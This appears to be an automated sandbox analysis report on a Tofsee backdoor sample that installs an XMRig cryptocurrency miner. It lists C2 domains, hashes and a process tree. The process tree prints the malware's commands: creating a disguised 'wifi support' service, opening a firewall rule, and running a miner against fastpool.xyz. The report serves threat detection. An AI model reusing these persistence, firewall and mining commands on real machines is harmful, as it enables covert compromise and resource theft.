Analysis

  • max time kernel
    143s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/01/2023, 23:26

General

  • Target
    file.exe
  • Size 328KB
  • Sample230120-3ethyaca2v
  • SHA256 958a6ebf1eece6b9d32f2bb4c722cc107fff6097531aac7aa76804371f4edde1
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3316
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\tvooypeq\
      2⤵
        PID:4308
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\bystqyov.exe" C:\Windows\SysWOW64\tvooypeq\
        2⤵
          PID:2768
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create tvooypeq binPath= "C:\Windows\SysWOW64\tvooypeq\bystqyov.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4892
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description tvooypeq "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1812
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start tvooypeq
          2⤵
          • Launches sc.exe
          PID:1600
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1296
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3316 -s 1036
          2⤵
          • Program crash
          PID:4100
      • C:\Windows\SysWOW64\tvooypeq\bystqyov.exe
        C:\Windows\SysWOW64\tvooypeq\bystqyov.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3600
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3972
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1652
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3600 -s 524
          2⤵
          • Program crash
          PID:3716
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3316 -ip 3316
        1⤵
          PID:960
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3600 -ip 3600
          1⤵
            PID:3848

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                bystqyov.exe

                • Path C:\Users\Admin\AppData\Local\Temp\bystqyov.exe
                • Size 11.2MB
                • SHA256 a02b31d8240553ea4b5889ffdf1c7f36ca82bf6ca4802dd00a3da8d674f37198
                • MD5 SHA1 SHA512 SSDEEP

                bystqyov.exe

                • Path C:\Windows\SysWOW64\tvooypeq\bystqyov.exe
                • Size 11.2MB
                • SHA256 a02b31d8240553ea4b5889ffdf1c7f36ca82bf6ca4802dd00a3da8d674f37198
                • MD5 SHA1 SHA512 SSDEEP

                memory/1652-176-0x0000000001020000-0x0000000001111000-memory.dmp

                memory/1652-171-0x0000000001020000-0x0000000001111000-memory.dmp

                memory/3316-135-0x0000000000400000-0x0000000000457000-memory.dmp

                memory/3316-134-0x00000000004D0000-0x00000000004E3000-memory.dmp

                memory/3316-133-0x00000000005ED000-0x0000000000603000-memory.dmp

                memory/3316-143-0x0000000000400000-0x0000000000457000-memory.dmp

                memory/3600-149-0x0000000000400000-0x0000000000457000-memory.dmp

                memory/3600-148-0x0000000000639000-0x000000000064E000-memory.dmp

                memory/3972-152-0x0000000002C00000-0x0000000002E0F000-memory.dmp

                memory/3972-150-0x0000000000E00000-0x0000000000E15000-memory.dmp

                memory/3972-151-0x0000000000E00000-0x0000000000E15000-memory.dmp

                memory/3972-155-0x00000000021F0000-0x00000000021F6000-memory.dmp

                memory/3972-158-0x0000000002F10000-0x0000000002F20000-memory.dmp

                memory/3972-161-0x00000000072C0000-0x00000000072C5000-memory.dmp

                memory/3972-164-0x0000000007C40000-0x000000000804B000-memory.dmp

                memory/3972-167-0x00000000072D0000-0x00000000072D7000-memory.dmp

                memory/3972-145-0x0000000000E00000-0x0000000000E15000-memory.dmp